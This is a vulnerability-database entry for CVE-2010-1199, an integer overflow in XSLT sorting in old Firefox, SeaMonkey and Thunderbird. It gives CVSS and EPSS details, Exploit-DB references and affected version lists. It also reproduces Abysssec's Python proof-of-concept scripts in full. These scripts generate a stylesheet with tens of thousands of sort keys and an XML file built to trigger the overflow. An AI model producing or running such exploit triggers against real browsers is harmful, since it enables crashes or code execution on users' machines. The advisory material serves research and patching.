Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-189 |
Category : Numeric Errors Weaknesses in this category are related to improper calculation or conversion of numbers. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 34192
Publication date : 2010-06-21 22h00 +00:00
Author : Martin Barbella
EDB Verified : Yes
source: https://www.securityfocus.com/bid/41082/info
Mozilla Firefox, SeaMonkey, and Thunderbird are prone to a remote integer-overflow vulnerability.
An attacker can exploit this issue to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will likely result in denial-of-service conditions.
These issues are fixed in:
Firefox 3.6.4
Firefox 3.5.10
Thunderbird 3.0.5
SeaMonkey 2.0.5
NOTE: This issue was previously covered in BID 41050 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-26/27/28/29/30/32 Remote Vulnerabilities) but has been given its own record to better document it.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34192.zip
Exploit Database EDB-ID : 14949
Publication date : 2010-09-08 22h00 +00:00
Author : Abysssec
EDB Verified : Yes
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ < Day 9 (Binary Analysis)
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-9-mozilla-firefox-xslt-sort-remote-code-execution-vulnerability/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34192.zip (moaub-day9-ba.zip)
'''
'''
Title : Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
Version : Firefox 3.6.3
Analysis : http://www.abysssec.com
Vendor : http://www.mozilla.com
Impact : High/Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1199
'''
import sys;
myStyle = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
<html>
<head>
<title>Beatles</title>
</head>
<body>
<table border="1">
<xsl:for-each select="beatles/beatle">
"""
BlockCount = 43000
count = 1
while(count<BlockCount):
myStyle = myStyle + "<xsl:sort select='name/abysssec"+str(count)+"' order='descending'/>\n"
count = count + 1
myStyle = myStyle +"""
<tr>
<td><a href="{@link}"><xsl:value-of select="name/lastname"/></a></td>
<td><a href="{@link}"><xsl:value-of select="name/firstname"/></a></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
"""
cssFile = open("abysssec.xsl","w")
cssFile.write(myStyle)
cssFile.close()
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
'''
'''
Title : Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
Version : Firefox 3.6.3
Analysis : http://www.abysssec.com
Vendor : http://www.mozilla.com
Impact : High/Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1199
MOAUB Number : MOAU_09_BA
'''
import sys;
myStyle = """<?xml version="1.0"?>
<?xml-stylesheet href="abysssec.xsl" type="text/xsl"?>
<beatles>
"""
block = """
<beatle link="http://www.johnlennon.com">
<name>
"""
BlockCount = 2147483647
rowCount=10
#myStyle = myStyle + "<tree id='mytree' flex='1' rows='"+str(rowCount)+"'>\n"
count = 1
while(count<BlockCount):
myStyle = myStyle + """
<beatle link="http://www.johnlennon.com">
<name>
"""
myStyle = myStyle + " <firstname>"+"A"*rowCount+"</firstname>\n"
myStyle = myStyle + """
<lastname>Lennon</lastname>
</name>
</beatle>
<beatle link="http://www.paulmccartney.com">
<name>"""
myStyle = myStyle + " <firstname>"+"B"*rowCount+"</firstname>\n"
myStyle = myStyle + """ <lastname>McCartney</lastname>
</name>
</beatle>
<beatle link="http://www.georgeharrison.com">
<name>
"""
myStyle = myStyle + " <firstname>"+"C"*rowCount+"</firstname>\n"
myStyle = myStyle + """
<lastname>Harrison</lastname>
</name>
</beatle>
<beatle link="http://www.ringostarr.com">
<name>
"""
myStyle = myStyle + " <firstname>"+"D"*rowCount+"</firstname>\n"
myStyle = myStyle + """
<lastname>Starr</lastname>
</name>
</beatle>
<beatle link="http://www.webucator.com" real="no">
<name>
"""
myStyle = myStyle + " <firstname>"+"E"*rowCount+"</firstname>\n"
myStyle = myStyle +"""
<lastname>Dunn</lastname>
</name>
</beatle>
"""
count = count - 1
myStyle = myStyle +"""
</beatles>
"""
cssFile = open("abyssssec.xml","w")
cssFile.write(myStyle)
cssFile.close()
Products Mentioned
Configuraton 0
Mozilla>>Firefox >> Version 3.5
Mozilla>>Firefox >> Version 3.5.1
Mozilla>>Firefox >> Version 3.5.2
Mozilla>>Firefox >> Version 3.5.3
Mozilla>>Firefox >> Version 3.5.4
Mozilla>>Firefox >> Version 3.5.5
Mozilla>>Firefox >> Version 3.5.6
Mozilla>>Firefox >> Version 3.5.7
Mozilla>>Firefox >> Version 3.5.9
Configuraton 0
Mozilla>>Seamonkey >> Version To (including) 2.0.4
Mozilla>>Seamonkey >> Version 1.0
Mozilla>>Seamonkey >> Version 1.0
Mozilla>>Seamonkey >> Version 1.0
Mozilla>>Seamonkey >> Version 1.0.1
Mozilla>>Seamonkey >> Version 1.0.2
Mozilla>>Seamonkey >> Version 1.0.3
Mozilla>>Seamonkey >> Version 1.0.4
Mozilla>>Seamonkey >> Version 1.0.5
Mozilla>>Seamonkey >> Version 1.0.6
Mozilla>>Seamonkey >> Version 1.0.7
Mozilla>>Seamonkey >> Version 1.0.8
Mozilla>>Seamonkey >> Version 1.0.9
Mozilla>>Seamonkey >> Version 1.1
Mozilla>>Seamonkey >> Version 1.1
Mozilla>>Seamonkey >> Version 1.1
Mozilla>>Seamonkey >> Version 1.1.1
Mozilla>>Seamonkey >> Version 1.1.2
Mozilla>>Seamonkey >> Version 1.1.3
Mozilla>>Seamonkey >> Version 1.1.4
Mozilla>>Seamonkey >> Version 1.1.5
Mozilla>>Seamonkey >> Version 1.1.6
Mozilla>>Seamonkey >> Version 1.1.7
Mozilla>>Seamonkey >> Version 1.1.8
Mozilla>>Seamonkey >> Version 1.1.9
Mozilla>>Seamonkey >> Version 1.1.10
Mozilla>>Seamonkey >> Version 1.1.11
Mozilla>>Seamonkey >> Version 1.1.12
Mozilla>>Seamonkey >> Version 1.1.13
Mozilla>>Seamonkey >> Version 1.1.14
Mozilla>>Seamonkey >> Version 1.1.15
Mozilla>>Seamonkey >> Version 1.1.16
Mozilla>>Seamonkey >> Version 1.1.17
Mozilla>>Seamonkey >> Version 1.1.18
Mozilla>>Seamonkey >> Version 1.1.19
Mozilla>>Seamonkey >> Version 2.0
Mozilla>>Seamonkey >> Version 2.0
Mozilla>>Seamonkey >> Version 2.0
Mozilla>>Seamonkey >> Version 2.0
Mozilla>>Seamonkey >> Version 2.0
Mozilla>>Seamonkey >> Version 2.0
Mozilla>>Seamonkey >> Version 2.0
Mozilla>>Seamonkey >> Version 2.0
Mozilla>>Seamonkey >> Version 2.0.1
Mozilla>>Seamonkey >> Version 2.0.2
Mozilla>>Seamonkey >> Version 2.0.3
Configuraton 0
Mozilla>>Firefox >> Version 3.6
Mozilla>>Firefox >> Version 3.6.2
Mozilla>>Firefox >> Version 3.6.3
Configuraton 0
Mozilla>>Thunderbird >> Version To (including) 3.0.4
Mozilla>>Thunderbird >> Version 0.1
Mozilla>>Thunderbird >> Version 0.2
Mozilla>>Thunderbird >> Version 0.3
Mozilla>>Thunderbird >> Version 0.4
Mozilla>>Thunderbird >> Version 0.5
Mozilla>>Thunderbird >> Version 0.6
Mozilla>>Thunderbird >> Version 0.7
Mozilla>>Thunderbird >> Version 0.8
Mozilla>>Thunderbird >> Version 0.9
Mozilla>>Thunderbird >> Version 1.0
Mozilla>>Thunderbird >> Version 1.0.2
Mozilla>>Thunderbird >> Version 1.0.5
Mozilla>>Thunderbird >> Version 1.0.6
Mozilla>>Thunderbird >> Version 1.0.7
Mozilla>>Thunderbird >> Version 1.0.8
Mozilla>>Thunderbird >> Version 1.5
Mozilla>>Thunderbird >> Version 1.5.0.2
Mozilla>>Thunderbird >> Version 1.5.0.4
Mozilla>>Thunderbird >> Version 1.5.0.5
Mozilla>>Thunderbird >> Version 1.5.0.7
Mozilla>>Thunderbird >> Version 1.5.0.8
Mozilla>>Thunderbird >> Version 1.5.0.9
Mozilla>>Thunderbird >> Version 1.5.0.10
Mozilla>>Thunderbird >> Version 1.5.0.12
Mozilla>>Thunderbird >> Version 1.5.0.13
Mozilla>>Thunderbird >> Version 1.5.0.14
Mozilla>>Thunderbird >> Version 2.0.0.0
Mozilla>>Thunderbird >> Version 2.0.0.4
Mozilla>>Thunderbird >> Version 2.0.0.5
Mozilla>>Thunderbird >> Version 2.0.0.6
Mozilla>>Thunderbird >> Version 2.0.0.9
Mozilla>>Thunderbird >> Version 2.0.0.12
Mozilla>>Thunderbird >> Version 2.0.0.14
Mozilla>>Thunderbird >> Version 2.0.0.16
Mozilla>>Thunderbird >> Version 2.0.0.17
Mozilla>>Thunderbird >> Version 2.0.0.18
Mozilla>>Thunderbird >> Version 2.0.0.19
Mozilla>>Thunderbird >> Version 3.0
Mozilla>>Thunderbird >> Version 3.0.1
Mozilla>>Thunderbird >> Version 3.0.2
Mozilla>>Thunderbird >> Version 3.0.3
References